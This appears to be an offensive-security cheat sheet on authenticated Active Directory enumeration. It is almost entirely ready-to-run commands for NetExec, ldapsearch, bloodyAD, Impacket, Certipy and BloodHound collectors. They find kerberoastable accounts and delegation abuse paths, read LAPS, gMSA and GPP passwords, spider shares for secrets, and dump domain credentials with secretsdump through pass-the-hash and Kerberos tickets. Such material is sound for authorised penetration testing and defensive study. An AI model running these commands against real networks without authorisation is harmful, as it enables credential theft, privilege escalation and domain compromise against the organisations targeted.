Authenticated Enumeration

You have creds (password, hash, or ticket). Time to map the entire domain. Pull users, groups, ACLs, delegations, trusts, certificates, and everything BloodHound needs.

Sections Authenticated Enumeration

Auth patterns: Most commands below show password auth. For hash-based or Kerberos auth, see the Auth Variants section at the bottom.


Full Domain Dump

Dump the entire domain to HTML/JSON reports with ldapdomaindump. [LDAP]

terminal.log
root@localhost:~# ldapdomaindump -u '<DOMAIN><USER>' -p '<PASS>' <DC_IP> -o ldd_output/
Tip
Generates domain_users.html, domain_computers.html, domain_groups.html, etc. (great for quick offline review in a browser).

Pull everything with ldeep into organized files. [LDAP]

terminal.log
root@localhost:~# ldeep ldap -u <USER> -p <PASS> -d <DOMAIN_FQDN> -s ldap://<DC_IP> all ldeep_output/

BloodHound Collection

Collect all data with bloodhound-python (remote, from Linux). [LDAP] [SMB]

terminal.log
root@localhost:~# bloodhound-ce-python -c all -u <USER> -p <PASS> -d <DOMAIN_FQDN> -ns <DC_IP> --zip

Collect using RustHound-CE (faster, BloodHound CE compatible). [LDAP]

terminal.log
root@localhost:~# rusthound-ce -u <USER>@<DOMAIN_FQDN> -p <PASS> -d <DOMAIN_FQDN> -i <DC_IP> -z

From Windows using SharpHound. [Windows-side]

terminal.log
root@localhost:~# .\SharpHound.exe -c all --zipfilename bh_collection.zip

User Enumeration

Enumerate all domain users via LDAP. [LDAP]

terminal.log
root@localhost:~# nxc ldap <DC_IP> -u <USER> -p <PASS> --users

Via ldeep.

terminal.log
root@localhost:~# ldeep ldap -u <USER> -p <PASS> -d <DOMAIN_FQDN> -s ldap://<DC_IP> users

Find users with descriptions (often contain passwords or hints). [LDAP]

terminal.log
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectClass=user)(description=*))' sAMAccountName description

Find disabled accounts. [LDAP]

terminal.log
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))' sAMAccountName

Find accounts that have never logged in (honeypots or dormant accounts). [LDAP]

terminal.log
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectClass=user)(!(lastLogonTimestamp=*)))' sAMAccountName

Enumerate users via SMB. [SMB]

terminal.log
root@localhost:~# nxc smb <DC_IP> -u <USER> -p <PASS> --users

Group Enumeration

List all domain groups. [LDAP]

terminal.log
root@localhost:~# nxc ldap <DC_IP> -u <USER> -p <PASS> --groups

Find members of Domain Admins. [LDAP]

terminal.log
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectClass=group)(cn=Domain Admins))' member

Enumerate members of a specific group via ldeep.

terminal.log
root@localhost:~# ldeep ldap -u <USER> -p <PASS> -d <DOMAIN_FQDN> -s ldap://<DC_IP> membersof 'Domain Admins'

Find nested group memberships for a user.

terminal.log
root@localhost:~# ldeep ldap -u <USER> -p <PASS> -d <DOMAIN_FQDN> -s ldap://<DC_IP> memberships <TARGET_USER>

List all privileged groups.

terminal.log
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectClass=group)(adminCount=1))' cn

Computer Enumeration

List all domain computers. [LDAP]

terminal.log
root@localhost:~# ldeep ldap -u <USER> -p <PASS> -d <DOMAIN_FQDN> -s ldap://<DC_IP> machines

Find Domain Controllers. [LDAP]

terminal.log
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))' cn dNSHostName

Find computers with specific OS versions (useful for targeting older systems). [LDAP]

terminal.log
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectClass=computer)(operatingSystem=_Server 2016_))' cn operatingSystem

Check which computers you have local admin on. [SMB]

terminal.log
root@localhost:~# nxc smb <SUBNET>/24 -u <USER> -p <PASS>
Tip
Look for (Pwn3d!) in the output. That means local admin access on that host.

ACL Enumeration

Enumerate ACLs on a target object with bloodyAD. [LDAP]

terminal.log
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> get object <TARGET_DN> --attr nTSecurityDescriptor

Find objects where your user has write permissions. [LDAP]

terminal.log
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> get writable --otype ALL --right WRITE --detail

Find objects where your user has full control. [LDAP]

terminal.log
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> get writable --otype ALL --right ALL --detail
Tip
ACL enumeration is where you find the real attack paths. Cross-reference these results with BloodHound CE for visualization. Look for GenericAll, GenericWrite, WriteDACL, WriteOwner, and ForceChangePassword on high-value targets.

SPN Enumeration (Kerberoast Targets)

Find accounts with SPNs set (kerberoastable targets). [LDAP]

terminal.log
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName servicePrincipalName

Via Impacket (enumerate only, no hash extraction).

terminal.log
root@localhost:~# impacket-GetUserSPNs <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP>

Via NetExec.

terminal.log
root@localhost:~# nxc ldap <DC_IP> -u <USER> -p <PASS> --kerberoasting kerberoast_output.txt
Tip
Run without -request first to see what’s out there. Only roast accounts that look high-value to minimize noise.

AS-REP Roastable Accounts

Find accounts with Kerberos pre-auth disabled. [LDAP]

terminal.log
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' sAMAccountName

Via Impacket (enumerate only).

terminal.log
root@localhost:~# impacket-GetNPUsers <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP>

Delegation Enumeration

Find all delegation configurations in the domain. [LDAP]

terminal.log
root@localhost:~# impacket-findDelegation <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP> -target-domain <DOMAIN_FQDN>

Via NetExec.

terminal.log
root@localhost:~# nxc ldap <DC_IP> -u <USER> -p <PASS> --delegations

Find unconstrained delegation computers. [LDAP]

terminal.log
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))' cn

Find constrained delegation (with protocol transition). [LDAP]

terminal.log
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectClass=_)(msDS-AllowedToDelegateTo=_))' cn msDS-AllowedToDelegateTo

Find RBCD configurations. [LDAP]

terminal.log
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectClass=_)(msDS-AllowedToActOnBehalfOfOtherIdentity=_))' cn
Tip
Unconstrained delegation on a computer you can compromise = TGT capture. Constrained delegation = impersonation via S4U. RBCD = if you can write to it, you can abuse it.

AD CS Enumeration

Find all CAs, templates, and vulnerable configurations. [LDAP]

terminal.log
root@localhost:~# certipy find -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -vulnerable -stdout

Save full output to JSON for offline analysis.

terminal.log
root@localhost:~# certipy find -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -vulnerable -json -output certipy_enum

Enumerate only certificate templates.

terminal.log
root@localhost:~# certipy find -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -stdout -enabled
Tip
Review certipy_enum_*.json carefully. BloodHound CE also ingests Certipy data for attack path visualization. Look for ESC1 through ESC11+ in the output.

Trust Enumeration

Map domain trusts. [LDAP]

terminal.log
root@localhost:~# nxc ldap <DC_IP> -u <USER> -p <PASS> --trusts

Via ldeep.

terminal.log
root@localhost:~# ldeep ldap -u <USER> -p <PASS> -d <DOMAIN_FQDN> -s ldap://<DC_IP> trusts

Via Impacket.

terminal.log
root@localhost:~# impacket-lookupsid <DOMAIN>/<USER>:<PASS>@<DC_IP>
Tip
Pay attention to trust direction and type. Bidirectional trusts to other forests are the most interesting for pivoting.

LAPS Enumeration

Check if LAPS is deployed and read passwords (if your account has permissions). [LDAP]

terminal.log
root@localhost:~# nxc ldap <DC_IP> -u <USER> -p <PASS> -M laps

Via bloodyAD.

terminal.log
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> get object '<COMPUTER_DN>' --attr ms-mcs-AdmPwd

Check for LAPS v2 (Windows LAPS). [LDAP]

terminal.log
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectClass=computer)(msLAPS-Password=*))' cn msLAPS-Password
Tip
LAPS v1 stores passwords in ms-mcs-AdmPwd. LAPS v2 (Windows LAPS) uses msLAPS-Password or msLAPS-EncryptedPassword. Check both.

gMSA Password Reading

Read gMSA passwords (if your account is in the allowed principals). [LDAP]

terminal.log
root@localhost:~# nxc ldap <DC_IP> -u <USER> -p <PASS> --gmsa

Via bloodyAD.

terminal.log
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> get object '<GMSA_ACCOUNT>$' --attr msDS-ManagedPassword
Tip
gMSA accounts often have elevated privileges. If you can read the password, you might jump straight to DA.

GPO Enumeration

List Group Policy Objects. [LDAP]

terminal.log
root@localhost:~# ldeep ldap -u <USER> -p <PASS> -d <DOMAIN_FQDN> -s ldap://<DC_IP> gpo

Check for GPP auto-logon credentials. [LDAP]

terminal.log
root@localhost:~# nxc ldap <DC_IP> -u <USER> -p <PASS> -M gpp_autologin

Check for GPP passwords in SYSVOL. [SMB]

terminal.log
root@localhost:~# nxc smb <DC_IP> -u <USER> -p <PASS> -M gpp_password
Tip
GPP passwords use a known AES key that Microsoft published. Any cpassword value found in SYSVOL XML files can be decrypted instantly with gpp-decrypt.

DNS Enumeration (Authenticated)

Dump all AD-integrated DNS records. [DNS]

terminal.log
root@localhost:~# adidnsdump -u '<DOMAIN><USER>' -p '<PASS>' <DC_IP>

Dump and resolve records. [DNS]

terminal.log
root@localhost:~# adidnsdump -u '<DOMAIN><USER>' -p '<PASS>' <DC_IP> -r

Query a specific DNS record with dnstool. [DNS]

terminal.log
root@localhost:~# python3 dnstool.py -u '<DOMAIN><USER>' -p '<PASS>' <DC_IP> -r <RECORD_NAME> --action query
Tip
AD-integrated DNS zones often contain records for internal hosts that don’t show up in port scans (hidden management interfaces, dev boxes, etc.).

Session & Access Enumeration

List active sessions on a target. [SMB] [Requires Local Admin]

terminal.log
root@localhost:~# nxc smb <TARGET> -u <USER> -p <PASS> --sessions

List logged-on users. [SMB] [Requires Local Admin]

terminal.log
root@localhost:~# nxc smb <TARGET> -u <USER> -p <PASS> --loggedon-users

Check local admin access across the subnet. [SMB]

terminal.log
root@localhost:~# nxc smb <SUBNET>/24 -u <USER> -p <PASS>

Check WinRM access. [WinRM]

terminal.log
root@localhost:~# nxc winrm <SUBNET>/24 -u <USER> -p <PASS>

Check RDP access. [RDP]

terminal.log
root@localhost:~# nxc rdp <SUBNET>/24 -u <USER> -p <PASS>

Check MSSQL access. [MSSQL]

terminal.log
root@localhost:~# nxc mssql <SUBNET>/24 -u <USER> -p <PASS>

Spider shares for sensitive files. [SMB]

terminal.log
root@localhost:~# nxc smb <DC_IP> -u <USER> -p <PASS> -M spider_plus -o DOWNLOAD_FLAG=false

Filter spidering to specific extensions. [SMB]

terminal.log
root@localhost:~# nxc smb <DC_IP> -u <USER> -p <PASS> -M spider_plus -o EXTENSIONS=txt,xml,ini,cfg,config,ps1,bat,kdbx,conf,bak,key,pfx

MachineAccountQuota Check

Check if you can create machine accounts (needed for RBCD abuse). [LDAP]

terminal.log
root@localhost:~# nxc ldap <DC_IP> -u <USER> -p <PASS> -M maq

Via ldapsearch.

terminal.log
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(objectClass=domain)' ms-DS-MachineAccountQuota
Tip
Default MachineAccountQuota is 10. If it’s > 0, any authenticated user can create machine accounts (useful for RBCD and relay attacks).

RPC Enumeration (Authenticated)

Query a specific user for details. [RPC]

terminal.log
root@localhost:~# rpcclient -U '<DOMAIN><USER>%<PASS>' <DC_IP> -c 'queryuser <RID>'

Enumerate printers (check for PrinterBug / SpoolService). [RPC]

terminal.log
root@localhost:~# rpcclient -U '<DOMAIN><USER>%<PASS>' <DC_IP> -c 'enumprinters'

Look up user SIDs. [RPC]

terminal.log
root@localhost:~# rpcclient -U '<DOMAIN><USER>%<PASS>' <DC_IP> -c 'lookupnames Administrator'

Auth Variants

Most commands above use password auth. Here’s how to swap in hash or Kerberos auth.

Pass-the-Hash (NetExec)

terminal.log
root@localhost:~# nxc smb <DC_IP> -u <USER> -H <HASH> --shares
root@localhost:~# nxc ldap <DC_IP> -u <USER> -H <HASH> --users
root@localhost:~# nxc winrm <TARGET> -u <USER> -H <HASH>

Pass-the-Hash (Impacket)

terminal.log
root@localhost:~# impacket-GetUserSPNs <DOMAIN>/<USER> -hashes :<HASH> -dc-ip <DC_IP>
root@localhost:~# impacket-secretsdump <DOMAIN>/<USER>@<DC_IP> -hashes :<HASH>
root@localhost:~# impacket-findDelegation <DOMAIN>/<USER> -hashes :<HASH> -dc-ip <DC_IP>

Kerberos Auth (Ticket-based)

terminal.log
# Get a TGT first
root@localhost:~# impacket-getTGT <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP>
root@localhost:~# export KRB5CCNAME=<USER>.ccache

# Then use -k -no-pass on any Impacket tool
root@localhost:~# impacket-GetUserSPNs <DOMAIN>/<USER> -k -no-pass -dc-ip <DC_IP>
root@localhost:~# impacket-findDelegation <DOMAIN>/<USER> -k -no-pass -dc-ip <DC_IP>
root@localhost:~# impacket-secretsdump <DOMAIN>/<USER>@<DC_FQDN> -k -no-pass

# NetExec with Kerberos
root@localhost:~# nxc smb <DC_FQDN> -u <USER> --use-kcache --shares
root@localhost:~# nxc ldap <DC_FQDN> -u <USER> --use-kcache --users
Tip
Kerberos auth requires DNS resolution. Add entries to /etc/hosts or point /etc/resolv.conf to the DC. Always use the FQDN (not IP) with -k.

bloodyAD with Hash

terminal.log
root@localhost:~# bloodyAD -u <USER> -p :<HASH> -d <DOMAIN_FQDN> --host <DC_IP> get writable --otype ALL --right WRITE --detail

Certipy with Hash

terminal.log
root@localhost:~# certipy find -u <USER>@<DOMAIN_FQDN> -hashes :<HASH> -dc-ip <DC_IP> -vulnerable -stdout